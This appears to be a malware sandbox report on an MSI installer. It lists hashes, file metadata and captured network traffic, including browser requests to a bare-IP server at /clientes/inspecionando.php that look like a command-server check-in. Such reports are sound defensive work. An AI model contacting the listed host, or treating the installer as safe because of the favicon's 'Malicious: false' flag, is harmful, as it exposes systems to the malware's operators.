SHA1:	C0783FB3A5EA64B02977E8F584AA9B4DA361CC09
SHA-256:	FEB09AF0A64CF3CAD72182A02A29A666140E4B64E7BE23513F005062DE362A00
SHA-512:	AE091EB7F451675530080276932403CDE15462C75D70085184FE5DDE942A555904360240BDD30D23A8E0359ECE516DE9DE0C465AB253C8ED3F3E968E50272796
Malicious:	false
URL:	http://45.90.123.184/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at 45.90.123.184 Port 80</address>.</body></html>.

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {32FF458D-4EB8-49EA-9D5C-9471CB31AE21}, Number of Words: 10, Subject: Aplicativo Windows, Author: Microsoft, Name of Creating Application: Aplicativo Windows, Template: ;1046, Comments: Aplicativo Windows, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Sun Jun 9 21:40:35 2024, Number of Pages: 200
Entropy (8bit):	7.9796246302652145
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	hBqTrQLya4.msi
File size:	31'124'992 bytes
MD5:	5421cd4bbb277efc5b163a75cac629ff
SHA1:	0d20c0bb978dad6bbd9065ebfc20680c241ac1e0
SHA256:	29772a95fb3ed50319dc74f8be52963ee621dc151ccd94b10ea14a7123c268f7
SHA512:	c8446d76f4ec65bc3d6a3174407f88e377c8aa260ccbed083653d114271a81a91f166a7ab45ca3d1cbdf9917f8b5aebe87364da210b9160607f2fe59a76d893c
SSDEEP:	786432:Ln1stHfbfy4zTE8R0BPtNg1LfjlszEJZ:GHfO4zTB8qF+zEJZ
TLSH:	F9673325B38BC232D95D0276ED65FE2E0479FEA3473001D7B3E5796E88B18C11676A83
File Content Preview:	........................>.......................................................G.......c.......v...............................P...Q...R...S...T...U...V...W...X..............................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 09:13:02.271785021 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:02.584104061 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:03.193296909 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:04.396430969 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:04.693345070 CEST	49674	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:04.696674109 CEST	49675	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:04.755840063 CEST	49672	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:06.802700996 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:10.820626020 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:11.193347931 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:11.615242004 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:11.943345070 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:13.443437099 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:14.302737951 CEST	49675	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:14.302741051 CEST	49674	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:14.458970070 CEST	49672	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:16.505856991 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:16.931978941 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:16.933156013 CEST	49703	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:16.936795950 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:16.936863899 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:16.937910080 CEST	80	49703	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:16.937974930 CEST	49703	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:17.167999983 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:17.172849894 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:17.631432056 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:17.702599049 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:17.750442982 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:17.755593061 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:17.945689917 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:18.102313042 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:18.235829115 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:18.240844965 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:18.457103968 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:18.504698038 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:21.177022934 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.177097082 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:21.177160025 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.187824011 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.187843084 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:21.256779909 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 4, 2024 09:13:21.866579056 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:21.879156113 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.879172087 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:21.880229950 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:21.880431890 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.881711960 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.881789923 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:21.944118023 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:21.944127083 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:22.053587914 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:22.103101015 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:22.103132010 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:22.103368044 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:22.104912996 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:22.104923010 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:22.506597996 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:22.758142948 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:22.758236885 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:22.827362061 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:22.827378988 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:22.827725887 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:23.001243114 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:23.108735085 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:23.152515888 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:23.293217897 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:23.293495893 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:23.293550014 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:23.350747108 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:23.350776911 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:23.350788116 CEST	49713	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:23.350796938 CEST	443	49713	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:23.462645054 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:23.462919950 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:25.436665058 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:25.436717987 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:25.440908909 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:25.441086054 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:25.441096067 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.084521055 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.084650993 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:26.186167002 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:26.186182976 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.186558962 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.187727928 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:26.232508898 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.373096943 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.373189926 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.376931906 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:26.823926926 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:26.823926926 CEST	49714	443	192.168.2.7	2.19.104.72
Jul 4, 2024 09:13:26.823956013 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:26.823966026 CEST	443	49714	2.19.104.72	192.168.2.7
Jul 4, 2024 09:13:29.717602968 CEST	49702	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:13:29.722524881 CEST	80	49702	45.90.123.184	192.168.2.7
Jul 4, 2024 09:13:31.776055098 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:31.776120901 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:31.776304960 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:34.505773067 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 4, 2024 09:13:34.917325020 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:34.917362928 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:34.917448044 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:34.918683052 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:34.918699026 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:35.676695108 CEST	49712	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:13:35.676724911 CEST	443	49712	142.250.186.132	192.168.2.7
Jul 4, 2024 09:13:35.723547935 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:35.723625898 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:35.897603035 CEST	49701	443	192.168.2.7	104.98.116.138
Jul 4, 2024 09:13:35.900407076 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:35.900430918 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:35.900747061 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:35.902517080 CEST	443	49701	104.98.116.138	192.168.2.7
Jul 4, 2024 09:13:36.053020000 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:37.291672945 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:37.332509041 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557187080 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557219028 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557228088 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557248116 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557257891 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557260990 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557271004 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:37.557293892 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557311058 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:37.557349920 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:37.557818890 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557826996 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.557899952 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:37.557907104 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.558214903 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:37.558263063 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:38.587445021 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:38.587486982 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:13:38.587498903 CEST	49715	443	192.168.2.7	40.68.123.157
Jul 4, 2024 09:13:38.587506056 CEST	443	49715	40.68.123.157	192.168.2.7
Jul 4, 2024 09:14:01.945453882 CEST	49703	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:14:01.950304031 CEST	80	49703	45.90.123.184	192.168.2.7
Jul 4, 2024 09:14:09.096734047 CEST	80	49703	45.90.123.184	192.168.2.7
Jul 4, 2024 09:14:09.096790075 CEST	49703	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:14:10.195489883 CEST	49703	80	192.168.2.7	45.90.123.184
Jul 4, 2024 09:14:10.201065063 CEST	80	49703	45.90.123.184	192.168.2.7
Jul 4, 2024 09:14:19.178488016 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:19.178534031 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:19.178601980 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:19.178922892 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:19.178936958 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:19.872009039 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:19.872102976 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:19.874769926 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:19.874779940 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:19.875076056 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:19.927958012 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:20.536623001 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:20.580504894 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766525030 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766556025 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766565084 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766580105 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766587973 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766594887 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766616106 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:20.766629934 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.766676903 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:20.767834902 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.767884970 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.767909050 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:20.767915964 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.767946005 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:20.768290997 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:20.768337965 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:21.226216078 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:21.226267099 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:21.226363897 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:21.226603031 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:21.226624012 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:21.401186943 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:21.401221991 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:21.401237011 CEST	49720	443	192.168.2.7	52.165.165.26
Jul 4, 2024 09:14:21.401243925 CEST	443	49720	52.165.165.26	192.168.2.7
Jul 4, 2024 09:14:21.874496937 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:21.874902964 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:21.874929905 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:21.875252008 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:21.876671076 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:21.876739025 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:21.926924944 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:31.826903105 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:31.826982975 CEST	443	49723	142.250.186.132	192.168.2.7
Jul 4, 2024 09:14:31.827039957 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:32.205214024 CEST	49723	443	192.168.2.7	142.250.186.132
Jul 4, 2024 09:14:32.205251932 CEST	443	49723	142.250.186.132	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 09:13:15.636626005 CEST	123	123	192.168.2.7	51.145.123.29
Jul 4, 2024 09:13:16.185798883 CEST	123	123	51.145.123.29	192.168.2.7
Jul 4, 2024 09:13:16.938446045 CEST	53	55214	1.1.1.1	192.168.2.7
Jul 4, 2024 09:13:17.158638954 CEST	53	59615	1.1.1.1	192.168.2.7
Jul 4, 2024 09:13:17.183974028 CEST	123	123	192.168.2.7	51.145.123.29
Jul 4, 2024 09:13:17.356216908 CEST	123	123	51.145.123.29	192.168.2.7
Jul 4, 2024 09:13:18.180440903 CEST	53	60599	1.1.1.1	192.168.2.7
Jul 4, 2024 09:13:21.168617964 CEST	62968	53	192.168.2.7	1.1.1.1
Jul 4, 2024 09:13:21.169058084 CEST	62552	53	192.168.2.7	1.1.1.1
Jul 4, 2024 09:13:21.175471067 CEST	53	62968	1.1.1.1	192.168.2.7
Jul 4, 2024 09:13:21.175813913 CEST	53	62552	1.1.1.1	192.168.2.7
Jul 4, 2024 09:13:35.684933901 CEST	53	53000	1.1.1.1	192.168.2.7
Jul 4, 2024 09:13:54.640542984 CEST	53	58943	1.1.1.1	192.168.2.7
Jul 4, 2024 09:14:11.309289932 CEST	138	138	192.168.2.7	192.168.2.255
Jul 4, 2024 09:14:16.729326963 CEST	53	62558	1.1.1.1	192.168.2.7
Jul 4, 2024 09:14:17.030606031 CEST	53	51255	1.1.1.1	192.168.2.7
Jul 4, 2024 09:14:44.955219984 CEST	53	54012	1.1.1.1	192.168.2.7
Jul 4, 2024 09:15:29.965734959 CEST	53	55199	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 4, 2024 09:13:21.168617964 CEST	192.168.2.7	1.1.1.1	0xedb3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 09:13:21.169058084 CEST	192.168.2.7	1.1.1.1	0x25f7	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 4, 2024 09:13:21.175471067 CEST	1.1.1.1	192.168.2.7	0xedb3	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Jul 4, 2024 09:13:21.175813913 CEST	1.1.1.1	192.168.2.7	0x25f7	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

45.90.123.184

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	45.90.123.184	80	8024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 09:13:17.167999983 CEST	454	OUT	GET /clientes/inspecionando.php HTTP/1.1 Host: 45.90.123.184 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jul 4, 2024 09:13:17.631432056 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 07:13:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 09:13:17.750442982 CEST	396	OUT	GET /favicon.ico HTTP/1.1 Host: 45.90.123.184 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://45.90.123.184/clientes/inspecionando.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jul 4, 2024 09:13:17.945689917 CEST	491	IN	HTTP/1.1 404 Not Found Date: Thu, 04 Jul 2024 07:13:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 275 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 34 35 2e 39 30 2e 31 32 33 2e 31 38 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 45.90.123.184 Port 80</address></body></html>
Jul 4, 2024 09:13:18.235829115 CEST	538	OUT	GET /clientes/inspecionando.php HTTP/1.1 Host: 45.90.123.184 Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://45.90.123.184/clientes/inspecionando.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jul 4, 2024 09:13:18.457103968 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 07:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	45.90.123.184	80	8024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 09:14:01.945453882 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49713	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 07:13:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 07:13:23 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=32215 Date: Thu, 04 Jul 2024 07:13:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49714	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 07:13:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 07:13:26 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=32265 Date: Thu, 04 Jul 2024 07:13:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-04 07:13:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
